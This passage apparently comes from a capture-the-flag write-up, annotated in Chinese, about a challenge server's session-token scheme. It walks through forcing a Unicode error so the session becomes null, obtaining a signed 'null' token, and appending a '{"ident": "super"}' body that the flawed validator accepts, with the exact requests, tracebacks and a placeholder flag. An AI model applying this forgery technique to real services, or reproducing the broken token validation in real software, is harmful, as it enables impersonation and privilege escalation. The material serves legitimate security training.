) -> Int:
var ident = req.next_param_str()
_= await serv.app.generate_session(ident^)
res.send_body("[Register][Token]" + serv.app.session_token + "[$Token][$Register]")
return 0
async fn get_session_token(
inout self
) -> Int:
var pf = PyFunc('App.generate_session_token')
pf.deadline = 1000
pf.background = True
var args = List[PythonObject](self.session)
_= await pf.async_run_py_func(args^)
self.session_token = pf.get_result()
return 0
async fn generate_session(
inout self,
owned token: String
) -> Int:
var pf = PyFunc('App.generate_session')
pf.deadline = 1000
pf.background = True
var args = List[PythonObject](token^)
_= await pf.async_run_py_func(args^)
self.session = pf.get_result()
_= await self.get_session_token()
return 0
@staticmethod
@ServerThread.register('App.generate_session')
@printex
def generate_session(ident):
#print("[PY] Generating session.....")
ident = limit_ascii(ident)
collide = False
if ident in App.EXISTING_USERS:
collide = True
for u in App.EXISTING_USERS:
for c in u:
if c in ident:
collide = True
break
if collide:
ident += os.urandom(8).hex()
App.EXISTING_USERS.add(ident)
return {'ident': ident}
@staticmethod
@ServerThread.register('App.generate_session_token')
@printex
def generate_session_token(session: dict):
j = json.dumps(session)
h = sha1(j.encode() + App.SECRET_KEY).hexdigest()
return f'{h}|{j}|'
def limit_ascii(val):
if isinstance(val, str):
val = val.encode('ascii')
if isinstance(val, bytes):
val = val.decode('ascii')
if not isinstance(val, str):
val = str(val)
return ''.join(
c for c in val
if c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ !@#$%^&*()-_=+[]{}|;:,.<>?/\\\'"'
)
- 注意到,可使其在
limit_ascii
处报错退出,此时App.session
将会被赋值为null
,此时生成的token将为sha1(SECRET_KEY)|null|
>>> from json import dumps
>>> dumps(None)
'null'
Traceback (most recent call last):
File "/opt/./src/pythread.py", line 93, in entrypoint
self.result = pool.apply(self.target, self.args)
File "/opt/conda/lib/python3.8/multiprocessing/pool.py", line 357, in apply
return self.apply_async(func, args, kwds).get()
File "/opt/conda/lib/python3.8/multiprocessing/pool.py", line 771, in get
raise self._value
UnicodeEncodeError: 'ascii' codec can't encode character '\xff' in position 0: ordinal not in range(128)
[Signal][Register][Token]f6be31636eb2dd602420313982081de809a4129c|null|[$Token][$Register][$Signal]
[Enquiry]
- auth,校验token,并获取用户身份
@staticmethod
@ServerThread.register('App.generate_session_token')
@printex
def generate_session_token(session: dict):
j = json.dumps(session)
h = sha1(j.encode() + App.SECRET_KEY).hexdigest()
return f'{h}|{j}|'
@staticmethod
@ServerThread.register('App.load_token')
@printex
def load_token(token: str):
if not App.validate_token(token):
raise Exception("Invalid token")
token_body = token.split('{',1)[1].split('|',1)[0]
return json.loads('{'+token_body)
@staticmethod
def validate_token(token: str):
token = token.encode()
sig, data = token.split(b'|',2)[:2]
calc = sha1(data + App.SECRET_KEY).hexdigest()
if sig == calc.encode():
return True
return False
- 正常情况下,
token
为sha1().hexdigest()|{"ident":"username"}|
,此时load_token
可正常获取username
,但token
为f6be31636eb2dd602420313982081de809a4129c|null|
时将会发生越界,我们可以借此伪造出super
[Wired]Reaching out; Contact system***[$Wired]
[Enquiry]
auth|f6be31636eb2dd602420313982081de809a4129c|null|
[PY] Exception in <function App.load_token at 0x7be76bb4f700> list index out of range
[PY] Stack
Traceback (most recent call last):
File "/opt/./src/util.py", line 31, in wrapper
return func(*args, **kwargs)
File "/opt/./src/app.py", line 56, in load_token
token_body = token.split('{',1)[1].split('|',1)[0]
IndexError: list index out of range
[Wired]Reaching out; Contact system***[$Wired]
[Enquiry]
auth|f6be31636eb2dd602420313982081de809a4129c|null|{"ident": "super"}
[Signal]authenticated[$Signal]
[Enquiry]
flag1|
Entering Super route
[Signal][Flag1]flug{ExamplePlaceholderFlagn24:n10j9HgLP2jXk36TE-W4Y9ywn5n8qH-IWpJT9rMchILB5c8kHzTU7Pg1YoW7lcL8lMTFzCRFHaE7abJ_}[$Flag1][$Signal]
[Enquiry]